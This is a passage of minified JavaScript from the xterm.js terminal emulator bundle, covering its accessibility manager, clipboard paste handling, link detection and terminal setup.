t=0;t0?this._charsToConsume.shift()!==e&&(this._charsToAnnounce+=e):this._charsToAnnounce+=e,"\n"===e&&(this._liveRegionLineCount++,21===this._liveRegionLineCount&&(this._liveRegion.textContent+=n.tooMuchOutput)),o.isMac&&this._liveRegion.textContent&&this._liveRegion.textContent.length>0&&!this._liveRegion.parentNode&&setTimeout((()=>{this._accessibilityContainer.appendChild(this._liveRegion)}),0))}_clearLiveRegion(){this._liveRegion.textContent="",this._liveRegionLineCount=0,o.isMac&&this._liveRegion.remove()}_handleKey(e){this._clearLiveRegion(),/\p{Control}/u.test(e)||this._charsToConsume.push(e)}_refreshRows(e,t){this._liveRegionDebouncer.refresh(e,t,this._terminal.rows)}_renderRows(e,t){const i=this._terminal.buffer,s=i.lines.length.toString();for(let r=e;r<=t;r++){const e=i.translateBufferLineToString(i.ydisp+r,!0),t=(i.ydisp+r+1).toString(),n=this._rowElements[r];n&&(0===e.length?n.innerText=" ":n.textContent=e,n.setAttribute("aria-posinset",t),n.setAttribute("aria-setsize",s))}this._announceCharacters()}_announceCharacters(){0!==this._charsToAnnounce.length&&(this._liveRegion.textContent+=this._charsToAnnounce,this._charsToAnnounce="")}_handleBoundaryFocus(e,t){const i=e.target,s=this._rowElements[0===t?1:this._rowElements.length-2];if(i.getAttribute("aria-posinset")===(0===t?"1":`${this._terminal.buffer.lines.length}`))return;if(e.relatedTarget!==s)return;let r,n;if(0===t?(r=i,n=this._rowElements.pop(),this._rowContainer.removeChild(n)):(r=this._rowElements.shift(),n=i,this._rowContainer.removeChild(r)),r.removeEventListener("focus",this._topBoundaryFocusListener),n.removeEventListener("focus",this._bottomBoundaryFocusListener),0===t){const e=this._createAccessibilityTreeNode();this._rowElements.unshift(e),this._rowContainer.insertAdjacentElement("afterbegin",e)}else{const e=this._createAccessibilityTreeNode();this._rowElements.push(e),this._rowContainer.appendChild(e)}this._rowElements[0].addEventListener("focus",this._topBoundaryFocusListener),this._rowElements[this._rowElements.length-1].addEventListener("focus",this._bottomBoundaryFocusListener),this._terminal.scrollLines(0===t?-1:1),this._rowElements[0===t?1:this._rowElements.length-2].focus(),e.preventDefault(),e.stopImmediatePropagation()}_handleResize(e){this._rowElements[this._rowElements.length-1].removeEventListener("focus",this._bottomBoundaryFocusListener);for(let e=this._rowContainer.children.length;ee;)this._rowContainer.removeChild(this._rowElements.pop());this._rowElements[this._rowElements.length-1].addEventListener("focus",this._bottomBoundaryFocusListener),this._refreshRowsDimensions()}_createAccessibilityTreeNode(){const e=document.createElement("div");return e.setAttribute("role","listitem"),e.tabIndex=-1,this._refreshRowDimensions(e),e}_refreshRowsDimensions(){if(this._renderService.dimensions.css.cell.height){this._accessibilityContainer.style.width=`${this._renderService.dimensions.css.canvas.width}px`,this._rowElements.length!==this._terminal.rows&&this._handleResize(this._terminal.rows);for(let e=0;e{function i(e){return e.replace(/\r?\n/g,"\r")}function s(e,t){return t?"[200~"+e+"[201~":e}function r(e,t,r,n){e=s(e=i(e),r.decPrivateModes.bracketedPasteMode&&!0!==n.rawOptions.ignoreBracketedPasteMode),r.triggerDataEvent(e,!0),t.value=""}function n(e,t,i){const s=i.getBoundingClientRect(),r=e.clientX-s.left-10,n=e.clientY-s.top-10;t.style.width="20px",t.style.height="20px",t.style.left=`${r}px`,t.style.top=`${n}px`,t.style.zIndex="1000",t.focus()}Object.defineProperty(t,"__esModule",{value:!0}),t.rightClickHandler=t.moveTextAreaUnderMouseCursor=t.paste=t.handlePasteEvent=t.copyHandler=t.bracketTextForPaste=t.prepareTextForTerminal=void 0,t.prepareTextForTerminal=i,t.bracketTextForPaste=s,t.copyHandler=function(e,t){e.clipboardData&&e.clipboardData.setData("text/plain",t.selectionText),e.preventDefault()},t.handlePasteEvent=function(e,t,i,s){e.stopPropagation(),e.clipboardData&&r(e.clipboardData.getData("text/plain"),t,i,s)},t.paste=r,t.moveTextAreaUnderMouseCursor=n,t.rightClickHandler=function(e,t,i,s,r){n(e,t,i),r&&s.rightClickSelect(e),t.value=s.selectionText,t.select()}},7239:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.ColorContrastCache=void 0;const s=i(1505);t.ColorContrastCache=class{constructor(){this._color=new s.TwoKeyMap,this._css=new s.TwoKeyMap}setCss(e,t,i){this._css.set(e,t,i)}getCss(e,t){return this._css.get(e,t)}setColor(e,t,i){this._color.set(e,t,i)}getColor(e,t){return this._color.get(e,t)}clear(){this._color.clear(),this._css.clear()}}},3656:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.addDisposableDomListener=void 0,t.addDisposableDomListener=function(e,t,i,s){e.addEventListener(t,i,s);let r=!1;return{dispose:()=>{r||(r=!0,e.removeEventListener(t,i,s))}}}},6465:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.Linkifier2=void 0;const n=i(3656),o=i(8460),a=i(844),h=i(2585);let c=t.Linkifier2=class extends a.Disposable{get currentLink(){return this._currentLink}constructor(e){super(),this._bufferService=e,this._linkProviders=[],this._linkCacheDisposables=[],this._isMouseOut=!0,this._wasResized=!1,this._activeLine=-1,this._onShowLinkUnderline=this.register(new o.EventEmitter),this.onShowLinkUnderline=this._onShowLinkUnderline.event,this._onHideLinkUnderline=this.register(new o.EventEmitter),this.onHideLinkUnderline=this._onHideLinkUnderline.event,this.register((0,a.getDisposeArrayDisposable)(this._linkCacheDisposables)),this.register((0,a.toDisposable)((()=>{this._lastMouseEvent=void 0}))),this.register(this._bufferService.onResize((()=>{this._clearCurrentLink(),this._wasResized=!0})))}registerLinkProvider(e){return this._linkProviders.push(e),{dispose:()=>{const t=this._linkProviders.indexOf(e);-1!==t&&this._linkProviders.splice(t,1)}}}attachToDom(e,t,i){this._element=e,this._mouseService=t,this._renderService=i,this.register((0,n.addDisposableDomListener)(this._element,"mouseleave",(()=>{this._isMouseOut=!0,this._clearCurrentLink()}))),this.register((0,n.addDisposableDomListener)(this._element,"mousemove",this._handleMouseMove.bind(this))),this.register((0,n.addDisposableDomListener)(this._element,"mousedown",this._handleMouseDown.bind(this))),this.register((0,n.addDisposableDomListener)(this._element,"mouseup",this._handleMouseUp.bind(this)))}_handleMouseMove(e){if(this._lastMouseEvent=e,!this._element||!this._mouseService)return;const t=this._positionFromMouseEvent(e,this._element,this._mouseService);if(!t)return;this._isMouseOut=!1;const i=e.composedPath();for(let e=0;e{null==e||e.forEach((e=>{e.link.dispose&&e.link.dispose()}))})),this._activeProviderReplies=new Map,this._activeLine=e.y);let r=!1;for(const[i,n]of this._linkProviders.entries())t?(null===(s=this._activeProviderReplies)||void 0===s?void 0:s.get(i))&&(r=this._checkLinkProviderResult(i,e,r)):n.provideLinks(e.y,(t=>{var s,n;if(this._isMouseOut)return;const o=null==t?void 0:t.map((e=>({link:e})));null===(s=this._activeProviderReplies)||void 0===s||s.set(i,o),r=this._checkLinkProviderResult(i,e,r),(null===(n=this._activeProviderReplies)||void 0===n?void 0:n.size)===this._linkProviders.length&&this._removeIntersectingLinks(e.y,this._activeProviderReplies)}))}_removeIntersectingLinks(e,t){const i=new Set;for(let s=0;se?this._bufferService.cols:s.link.range.end.x;for(let e=n;e<=o;e++){if(i.has(e)){r.splice(t--,1);break}i.add(e)}}}}_checkLinkProviderResult(e,t,i){var s;if(!this._activeProviderReplies)return i;const r=this._activeProviderReplies.get(e);let n=!1;for(let t=0;tthis._linkAtPosition(e.link,t)));e&&(i=!0,this._handleNewLink(e))}if(this._activeProviderReplies.size===this._linkProviders.length&&!i)for(let e=0;ethis._linkAtPosition(e.link,t)));if(r){i=!0,this._handleNewLink(r);break}}return i}_handleMouseDown(){this._mouseDownLink=this._currentLink}_handleMouseUp(e){if(!this._element||!this._mouseService||!this._currentLink)return;const t=this._positionFromMouseEvent(e,this._element,this._mouseService);t&&this._mouseDownLink===this._currentLink&&this._linkAtPosition(this._currentLink.link,t)&&this._currentLink.link.activate(e,this._currentLink.link.text)}_clearCurrentLink(e,t){this._element&&this._currentLink&&this._lastMouseEvent&&(!e||!t||this._currentLink.link.range.start.y>=e&&this._currentLink.link.range.end.y<=t)&&(this._linkLeave(this._element,this._currentLink.link,this._lastMouseEvent),this._currentLink=void 0,(0,a.disposeArray)(this._linkCacheDisposables))}_handleNewLink(e){if(!this._element||!this._lastMouseEvent||!this._mouseService)return;const t=this._positionFromMouseEvent(this._lastMouseEvent,this._element,this._mouseService);t&&this._linkAtPosition(e.link,t)&&(this._currentLink=e,this._currentLink.state={decorations:{underline:void 0===e.link.decorations||e.link.decorations.underline,pointerCursor:void 0===e.link.decorations||e.link.decorations.pointerCursor},isHovered:!0},this._linkHover(this._element,e.link,this._lastMouseEvent),e.link.decorations={},Object.defineProperties(e.link.decorations,{pointerCursor:{get:()=>{var e,t;return null===(t=null===(e=this._currentLink)||void 0===e?void 0:e.state)||void 0===t?void 0:t.decorations.pointerCursor},set:e=>{var t,i;(null===(t=this._currentLink)||void 0===t?void 0:t.state)&&this._currentLink.state.decorations.pointerCursor!==e&&(this._currentLink.state.decorations.pointerCursor=e,this._currentLink.state.isHovered&&(null===(i=this._element)||void 0===i||i.classList.toggle("xterm-cursor-pointer",e)))}},underline:{get:()=>{var e,t;return null===(t=null===(e=this._currentLink)||void 0===e?void 0:e.state)||void 0===t?void 0:t.decorations.underline},set:t=>{var i,s,r;(null===(i=this._currentLink)||void 0===i?void 0:i.state)&&(null===(r=null===(s=this._currentLink)||void 0===s?void 0:s.state)||void 0===r?void 0:r.decorations.underline)!==t&&(this._currentLink.state.decorations.underline=t,this._currentLink.state.isHovered&&this._fireUnderlineEvent(e.link,t))}}}),this._renderService&&this._linkCacheDisposables.push(this._renderService.onRenderedViewportChange((e=>{if(!this._currentLink)return;const t=0===e.start?0:e.start+1+this._bufferService.buffer.ydisp,i=this._bufferService.buffer.ydisp+1+e.end;if(this._currentLink.link.range.start.y>=t&&this._currentLink.link.range.end.y<=i&&(this._clearCurrentLink(t,i),this._lastMouseEvent&&this._element)){const e=this._positionFromMouseEvent(this._lastMouseEvent,this._element,this._mouseService);e&&this._askForLink(e,!1)}}))))}_linkHover(e,t,i){var s;(null===(s=this._currentLink)||void 0===s?void 0:s.state)&&(this._currentLink.state.isHovered=!0,this._currentLink.state.decorations.underline&&this._fireUnderlineEvent(t,!0),this._currentLink.state.decorations.pointerCursor&&e.classList.add("xterm-cursor-pointer")),t.hover&&t.hover(i,t.text)}_fireUnderlineEvent(e,t){const i=e.range,s=this._bufferService.buffer.ydisp,r=this._createLinkUnderlineEvent(i.start.x-1,i.start.y-s-1,i.end.x,i.end.y-s-1,void 0);(t?this._onShowLinkUnderline:this._onHideLinkUnderline).fire(r)}_linkLeave(e,t,i){var s;(null===(s=this._currentLink)||void 0===s?void 0:s.state)&&(this._currentLink.state.isHovered=!1,this._currentLink.state.decorations.underline&&this._fireUnderlineEvent(t,!1),this._currentLink.state.decorations.pointerCursor&&e.classList.remove("xterm-cursor-pointer")),t.leave&&t.leave(i,t.text)}_linkAtPosition(e,t){const i=e.range.start.y*this._bufferService.cols+e.range.start.x,s=e.range.end.y*this._bufferService.cols+e.range.end.x,r=t.y*this._bufferService.cols+t.x;return i<=r&&r<=s}_positionFromMouseEvent(e,t,i){const s=i.getCoords(e,t,this._bufferService.cols,this._bufferService.rows);if(s)return{x:s[0],y:s[1]+this._bufferService.buffer.ydisp}}_createLinkUnderlineEvent(e,t,i,s,r){return{x1:e,y1:t,x2:i,y2:s,cols:this._bufferService.cols,fg:r}}};t.Linkifier2=c=s([r(0,h.IBufferService)],c)},9042:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.tooMuchOutput=t.promptLabel=void 0,t.promptLabel="Terminal input",t.tooMuchOutput="Too much output to announce, navigate to rows manually to read"},3730:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.OscLinkProvider=void 0;const n=i(511),o=i(2585);let a=t.OscLinkProvider=class{constructor(e,t,i){this._bufferService=e,this._optionsService=t,this._oscLinkService=i}provideLinks(e,t){var i;const s=this._bufferService.buffer.lines.get(e-1);if(!s)return void t(void 0);const r=[],o=this._optionsService.rawOptions.linkHandler,a=new n.CellData,c=s.getTrimmedLength();let l=-1,d=-1,_=!1;for(let t=0;to?o.activate(e,t,i):h(0,t),hover:(e,t)=>{var s;return null===(s=null==o?void 0:o.hover)||void 0===s?void 0:s.call(o,e,t,i)},leave:(e,t)=>{var s;return null===(s=null==o?void 0:o.leave)||void 0===s?void 0:s.call(o,e,t,i)}})}_=!1,a.hasExtendedAttrs()&&a.extended.urlId?(d=t,l=a.extended.urlId):(d=-1,l=-1)}}t(r)}};function h(e,t){if(confirm(`Do you want to navigate to ${t}?\n\nWARNING: This link could potentially be dangerous`)){const e=window.open();if(e){try{e.opener=null}catch(e){}e.location.href=t}else console.warn("Opening link blocked as opener could not be cleared")}}t.OscLinkProvider=a=s([r(0,o.IBufferService),r(1,o.IOptionsService),r(2,o.IOscLinkService)],a)},6193:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.RenderDebouncer=void 0,t.RenderDebouncer=class{constructor(e,t){this._parentWindow=e,this._renderCallback=t,this._refreshCallbacks=[]}dispose(){this._animationFrame&&(this._parentWindow.cancelAnimationFrame(this._animationFrame),this._animationFrame=void 0)}addRefreshCallback(e){return this._refreshCallbacks.push(e),this._animationFrame||(this._animationFrame=this._parentWindow.requestAnimationFrame((()=>this._innerRefresh()))),this._animationFrame}refresh(e,t,i){this._rowCount=i,e=void 0!==e?e:0,t=void 0!==t?t:this._rowCount-1,this._rowStart=void 0!==this._rowStart?Math.min(this._rowStart,e):e,this._rowEnd=void 0!==this._rowEnd?Math.max(this._rowEnd,t):t,this._animationFrame||(this._animationFrame=this._parentWindow.requestAnimationFrame((()=>this._innerRefresh())))}_innerRefresh(){if(this._animationFrame=void 0,void 0===this._rowStart||void 0===this._rowEnd||void 0===this._rowCount)return void this._runRefreshCallbacks();const e=Math.max(this._rowStart,0),t=Math.min(this._rowEnd,this._rowCount-1);this._rowStart=void 0,this._rowEnd=void 0,this._renderCallback(e,t),this._runRefreshCallbacks()}_runRefreshCallbacks(){for(const e of this._refreshCallbacks)e(0);this._refreshCallbacks=[]}}},5596:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.ScreenDprMonitor=void 0;const s=i(844);class r extends s.Disposable{constructor(e){super(),this._parentWindow=e,this._currentDevicePixelRatio=this._parentWindow.devicePixelRatio,this.register((0,s.toDisposable)((()=>{this.clearListener()})))}setListener(e){this._listener&&this.clearListener(),this._listener=e,this._outerListener=()=>{this._listener&&(this._listener(this._parentWindow.devicePixelRatio,this._currentDevicePixelRatio),this._updateDpr())},this._updateDpr()}_updateDpr(){var e;this._outerListener&&(null===(e=this._resolutionMediaMatchList)||void 0===e||e.removeListener(this._outerListener),this._currentDevicePixelRatio=this._parentWindow.devicePixelRatio,this._resolutionMediaMatchList=this._parentWindow.matchMedia(`screen and (resolution: ${this._parentWindow.devicePixelRatio}dppx)`),this._resolutionMediaMatchList.addListener(this._outerListener))}clearListener(){this._resolutionMediaMatchList&&this._listener&&this._outerListener&&(this._resolutionMediaMatchList.removeListener(this._outerListener),this._resolutionMediaMatchList=void 0,this._listener=void 0,this._outerListener=void 0)}}t.ScreenDprMonitor=r},3236:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.Terminal=void 0;const s=i(3614),r=i(3656),n=i(6465),o=i(9042),a=i(3730),h=i(1680),c=i(3107),l=i(5744),d=i(2950),_=i(1296),u=i(428),f=i(4269),v=i(5114),p=i(8934),g=i(3230),m=i(9312),S=i(4725),C=i(6731),b=i(8055),y=i(8969),w=i(8460),E=i(844),k=i(6114),L=i(8437),D=i(2584),R=i(7399),x=i(5941),A=i(9074),B=i(2585),T=i(5435),M=i(4567),O="undefined"!=typeof window?window.document:null;class P extends y.CoreTerminal{get onFocus(){return this._onFocus.event}get onBlur(){return this._onBlur.event}get onA11yChar(){return this._onA11yCharEmitter.event}get onA11yTab(){return this._onA11yTabEmitter.event}get onWillOpen(){return this._onWillOpen.event}constructor(e={}){super(e),this.browser=k,this._keyDownHandled=!1,this._keyDownSeen=!1,this._keyPressHandled=!1,this._unprocessedDeadKey=!1,this._accessibilityManager=this.register(new E.MutableDisposable),this._onCursorMove=this.register(new w.EventEmitter),this.onCursorMove=this._onCursorMove.event,this._onKey=this.register(new w.EventEmitter),this.onKey=this._onKey.event,this._onRender=this.register(new w.EventEmitter),this.onRender=this._onRender.event,this._onSelectionChange=this.register(new w.EventEmitter),this.onSelectionChange=this._onSelectionChange.event,this._onTitleChange=this.register(new w.EventEmitter),this.onTitleChange=this._onTitleChange.event,this._onBell=this.register(new w.EventEmitter),this.onBell=this._onBell.event,this._onFocus=this.register(new w.EventEmitter),this._onBlur=this.register(new w.EventEmitter),this._onA11yCharEmitter=this.register(new w.EventEmitter),this._onA11yTabEmitter=this.register(new w.EventEmitter),this._onWillOpen=this.register(new w.EventEmitter),this._setup(),this.linkifier2=this.register(this._instantiationService.createInstance(n.Linkifier2)),this.linkifier2.registerLinkProvider(this._instantiationService.createInstance(a.OscLinkProvider)),this._decorationService=this._instantiationService.createInstance(A.DecorationService),this._instantiationService.setService(B.IDecorationService,this._decorationService),this.register(this._inputHandler.onRequestBell((()=>this._onBell.fire()))),this.register(this._inputHandler.onRequestRefreshRows(((e,t)=>this.refresh(e,t)))),this.register(this._inputHandler.onRequestSendFocus((()=>this._reportFocus()))),this.register(this._inputHandler.onRequestReset((()=>this.reset()))),this.register(this._inputHandler.onRequestWindowsOptionsReport((e=>this._reportWindowsOptions(e)))),this.register(this._inputHandler.onColor((e=>this._handleColorEvent(e)))),this.register((0,w.forwardEvent)(this._inputHandler.onCursorMove,this._onCursorMove)),this.register((0,w.forwardEvent)(this._inputHandler.onTitleChange,this._onTitleChange)),this.register((0,w.forwardEvent)(this._inputHandler.onA11yChar,this._onA11yCharEmitter)),this.register((0,w.forwardEvent)(this._inputHandler.onA11yTab,this._onA11yTabEmitter)),this.register(this._bufferService.onResize((e=>this._afterResize(e.cols,e.rows)))),this.register((0,E.toDisposable)((()=>{var e,t;this._customKeyEventHandler=void 0,null===(t=null===(e=this.element)||void 0===e?void 0:e.parentNode)||void 0===t||t.removeChild(this.element)})))}_handleColorEvent(e){if(this._themeService)for(const t of e){let e,i="";switch(t.index){case 256:e="foreground",i="10";break;case 257:e="background",i="11";break;case 258:e="cursor",i="12";break;default:e="ansi",i="4;"+t.index}switch(t.type){case 0:const s=b.color.toColorRGB("ansi"===e?this._themeService.colors.ansi[t.index]:this._themeService.colors[e]);this.coreService.triggerDataEvent(`${D.C0.ESC}]${i};${(0,x.toRgbString)(s)}${D.C1_ESCAPED.ST}`);break;case 1:if("ansi"===e)this._themeService.modifyColors((e=>e.ansi[t.index]=b.rgba.toColor(...t.color)));else{const i=e;this._themeService.modifyColors((e=>e[i]=b.rgba.toColor(...t.color)))}break;case 2:this._themeService.restoreColor(t.index)}}}_setup(){super._setup(),this._customKeyEventHandler=void 0}get buffer(){return this.buffers.active}focus(){this.textarea&&this.textarea.focus({preventScroll:!0})}_handleScreenReaderModeOptionChange(e){e?!this._accessibilityManager.value&&this._renderService&&(this._accessibilityManager.value=this._instantiationService.createInstance(M.AccessibilityManager,this)):this._accessibilityManager.clear()}_handleTextAreaFocus(e){this.coreService.decPrivateModes.sendFocus&&this.coreService.triggerDataEvent(D.C0.ESC+"[I"),this.updateCursorStyle(e),this.element.classList.add("focus"),this._showCursor(),this._onFocus.fire()}blur(){var e;return null===(e=this.textarea)||void 0===e?void 0:e.blur()}_handleTextAreaBlur(){this.textarea.value="",this.refresh(this.buffer.y,this.buffer.y),this.coreService.decPrivateModes.sendFocus&&this.coreService.triggerDataEvent(D.C0.ESC+"[O"),this.element.classList.remove("focus"),this._onBlur.fire()}_syncTextArea(){if(!this.textarea||!this.buffer.isCursorInViewport||this._compositionHelper.isComposing||!this._renderService)return;const e=this.buffer.ybase+this.buffer.y,t=this.buffer.lines.get(e);if(!t)return;const i=Math.min(this.buffer.x,this.cols-1),s=this._renderService.dimensions.css.cell.height,r=t.getWidth(i),n=this._renderService.dimensions.css.cell.width*r,o=this.buffer.y*this._renderService.dimensions.css.cell.height,a=i*this._renderService.dimensions.css.cell.width;this.textarea.style.left=a+"px",this.textarea.style.top=o+"px",this.textarea.style.width=n+"px",this.textarea.style.height=s+"px",this.textarea.style.lineHeight=s+"px",this.textarea.style.zIndex="-5"}_initGlobal(){this._bindKeys(),this.register((0,r.addDisposableDomListener)(this.element,"copy",(e=>{this.hasSelection()&&(0,s.copyHandler)(e,this._selectionService)})));const e=e=>(0,s.handlePasteEvent)(e,this.textarea,this.coreService,this.optionsService);this.register((0,r.addDisposableDomListener)(this.textarea,"paste",e)),this.register((0,r.addDisposableDomListener)(this.element,"paste",e)),k.isFirefox?this.register((0,r.addDisposableDomListener)(this.element,"mousedown",(e=>{2===e.button&&(0,s.rightClickHandler)(e,this.textarea,this.screenElement,this._selectionService,this.options.rightClickSelectsWord)}))):this.register((0,r.addDisposableDomListener)(this.element,"contextmenu",(e=>{(0,s.rightClickHandler)(e,this.textarea,this.screenElement,this._selectionService,this.options.rightClickSelectsWord)}))),k.isLinux&&this.register((0,r.addDisposableDomListener)(this.element,"auxclick",(e=>{1===e.button&&(0,s.moveTextAreaUnderMouseCursor)(e,this.textarea,this.screenElement)})))}_bindKeys(){this.register((0,r.addDisposableDomListener)(this.textarea,"keyup",(e=>this._keyUp(e)),!0)),this.register((0,r.addDisposableDomListener)(this.textarea,"keydown",(e=>this._keyDown(e)),!0)),this.register((0,r.addDisposableDomListener)(this.textarea,"keypress",(e=>this._keyPress(e)),!0)),this.register((0,r.addDisposableDomListener)(this.textarea,"compositionstart",(()=>this._compositionHelper.compositionstart()))),this.register((0,r.addDisposableDomListener)(this.textarea,"compositionupdate",(e=>this._compositionHelper.compositionupdate(e)))),this.register((0,r.addDisposableDomListener)(this.textarea,"compositionend",(()=>this._compositionHelper.compositionend()))),this.register((0,r.addDisposableDomListener)(this.textarea,"input",(e=>this._inputEvent(e)),!0)),this.register(this.onRender((()=>this._compositionHelper.updateCompositionElements())))}open(e){var t;if(!e)throw new Error("Terminal requires a parent element.");e.isConnected||this._logService.debug("Terminal.open was called on an element that was not attached to the DOM"),this._document=e.ownerDocument,this.element=this._document.createElement("div"),this.element.dir="ltr",this.element.classList.add("terminal"),this.element.classList.add("xterm"),e.appendChild(this.element);const i=O.createDocumentFragment();this._viewportElement=O.createElement("div"),this._viewportElement.classList.add("xterm-viewport"),i.appendChild(this._viewportElement),this._viewportScrollArea=O.createElement("div"),this._viewportScrollArea.classList.add("xterm-scroll-area"),this._viewportElement.appendChild(this._viewportScrollArea),this.screenElement=O.createElement("div"),this.screenElement.classList.add("xterm-screen"),this._helperContainer=O.createElement("div"),this._helperContainer.classList.add("xterm-helpers"),this.screenElement.appendChild(this._helperContainer),i.appendChild(this.screenElement),this.textarea=O.createElement("textarea"),this.textarea.classList.add("xterm-helper-textarea"),this.textarea.setAttribute("aria-label",o.promptLabel),k.isChromeOS||this.textarea.setAttribute("aria-multiline","false"),this.textarea.setAttribute("autocorrect","off"),this.textarea.setAttribute("autocapitalize","off"),this.textarea.setAttribute("spellcheck","false"),this.textarea.tabIndex=0,this._coreBrowserService=this._instantiationService.createInstance(v.CoreBrowserService,this.textarea,null!==(t=this._document.defaultView)&&void 0!==t?t:window),this._instantiationService.setService(S.ICoreBrowserService,this._coreBrowserService),this.register((0,r.addDisposableDomListener)(this.textarea,"focus",(e=>this._handleTextAreaFocus(e)))),this.register((0,r.addDisposableDomListener)(this.textarea,"blur",(()=>this._handleTextAreaBlur()))),this._helperContainer.appendChild(this.textarea),this._charSizeService=this._instantiationService.createInstance(u.CharSizeService,this._document,this._helperContainer),this._instantiationService.setService(S.ICharSizeService,this._charSizeService),this._themeService=this._instantiationService.createInstance(C.ThemeService),this._instantiationService.setService(S.IThemeService,this._themeService),this._characterJoinerService=this._instantiationService.createInstance(f.CharacterJoinerService),this._instantiationService.setService(S.ICharacterJoinerService,this._characterJoinerService),this._renderService=this.register(this._instantiationService.createInstance(g.RenderService,this.rows,this.screenElement)),this._instantiationService.setService(S.IRenderService,this._renderService),this.register(this._renderService.onRenderedViewportChange((e=>this._onRender.fire(e)))),this.onResize((e=>this._renderService.resize(e.cols,e.rows))),this._compositionView=O.createElement("div"),this._compositionView.classList.add("composition-view"),this._compositionHelper=this._instantiationService.createInstance(d.CompositionHelper,this.textarea,this._compositionView),this._helperContainer.appendChild(this._compositionView),this.element.appendChild(i);try{this._onWillOpen.fire(this.element)}catch(e){}this._renderService.hasRenderer()||this._renderService.setRenderer(this._createRenderer()),this._mouseService=this._instantiationService.createInstance(p.MouseService),this._instantiationService.setService(S.IMouseService,this._mouseService),this.viewport=this._instantiationService.createInstance(h.Viewport,this._viewportElement,this._viewportScrollArea),this.viewport.onRequestScrollLines((e=>this.scrollLines(e.amount,e.suppressScrollEvent,1))),this.register(this._inputHandler.onRequestSyncScrollBar((()=>this.viewport.syncScrollArea()))),this.register(this.viewport),this.register(this.onCursorMove((()=>{this._renderService.handleCursorMove(),this._syncTextArea()}))),this.register(this.onResize((()=>this._renderService.handleResize(this.cols,this.rows)))),this.register(this.onBlur((()=>this._renderService.handleBlur()))),this.register(this.onFocus((()=>this._renderService.handleFocus()))),this.register(this._renderService.onDimensionsChange((()=>this.viewport.syncScrollArea()))),this._selectionService=this.register(this._instantiationService.createInstance(m.SelectionService,this.element,this.screenElement,this.linkifier2)),this._instantiationService.setService(S.ISelectionService,this._selectionService),this.register(this._selectionService.onRequestScrollLines((e=>this.scrollLines(e.amount,e.suppressScrollEvent)))),this.register(this._selectionService.onSelectionChange((()=>this._onSelectionChange.fire()))),this.register(this._selectionService.onRequestRedraw((e=>this._renderService.handleSelectionChanged(e.start,e.end,e.columnSelectMode)))),this.register(this._selectionService.onLinuxMouseSelection((e=>{this.textarea.value=e,this.textarea.focus(),this.textarea.select()}))),this.register(this._onScroll.event((e=>{this.viewport.syncScrollArea(),this._selectionService.refresh()}))),this.register((0,r.addDisposableDomListener)(this._viewportElement,"scroll",(()=>this._selectionService.refresh()))),this.linkifier2.attachToDom(this.screenElement,this._mouseService,this._renderService),this.register(this._instantiationService.createInstance(c.BufferDecorationRenderer,this.screenElement)),this.register((0,r.addDisposableDomListener)(this.element,"mousedown",(e=>this._selectionService.handleMouseDown(e)))),this.coreMouseService.areMouseEventsActive?(this._selectionService.disable(),this.element.classList.add("enable-mouse-events")):this._selectionService.enable(),this.options.screenReaderMode&&(this._accessibilityManager.value=this._instantiationService.createInstance(M.AccessibilityManager,this)),this.register(this.optionsService.onSpecificOptionChange("screenReaderMode",(e=>this._handleScreenReaderModeOptionChange(e)))),this.options.overviewRulerWidth&&(this._overviewRulerRenderer=this.register(this._instantiationService.createInstance(l.OverviewRulerRenderer,this._viewportElement,this.screenElement))),this.optionsService.onSpecificOptionChange("overviewRulerWidth",(e=>{!this._overviewRulerRenderer&&e&&this._viewportElement&&this.screenElement&&(this._overviewRulerRenderer=this.register(this._instantiationService.createInstance(l.OverviewRulerRenderer,this._viewportElement,this.screenElement)))})),this._charSizeService.measure(),this.refresh(0,this.rows-1),this._initGlobal(),this.bindMouse()}_createRenderer(){return this._instantiationService.createInstance(_.DomRenderer,this.element,this.screenElement,this._viewportElement,this.linkifier2)}bindMouse(){const e=this,t=this.element;function i(t){const i=e._mouseService.getMouseReportCoords(t,e.screenElement);if(!i)return!1;let s,r;switch(t.overrideType||t.type){case"mousemove":r=32,void 0===t.buttons?(s=3,void 0!==t.button&&(s=t.button<3?t.button:3)):s=1&t.buttons?0:4&t.buttons?1:2&t.buttons?2:3;break;case"mouseup":r=0,s=t.button<3?t.button:3;break;case"mousedown":r=1,s=t.button<3?t.button:3;break;case"wheel":if(0===e.viewport.getLinesScrolled(t))return!1;r=t.deltaY<0?0:1,s=4;break;default:return!1}return!(void 0===r||void 0===s||s>4)&&e.coreMouseService.triggerMouseEvent({col:i.col,row:i.row,x:i.x,y:i.y,button:s,action:r,ctrl:t.ctrlKey,alt:t.altKey,shift:t.shiftKey})}const s={mouseup:null,wheel:null,mousedrag:null,mousemove:null},n={mouseup:e=>(i(e),e.buttons||(this._document.removeEventListener("mouseup",s.mouseup),s.mousedrag&&this._document.removeEventListener("mousemove",s.mousedrag)),this.cancel(e)),wheel:e=>(i(e),this.cancel(e,!0)),mousedrag:e=>{e.buttons&&i(e)},mousemove:e=>{e.buttons||i(e)}};this.register(this.coreMouseService.onProtocolChange((e=>{e?("debug"===this.optionsService.rawOptions.logLevel&&this._logService.debug("Binding to mouse 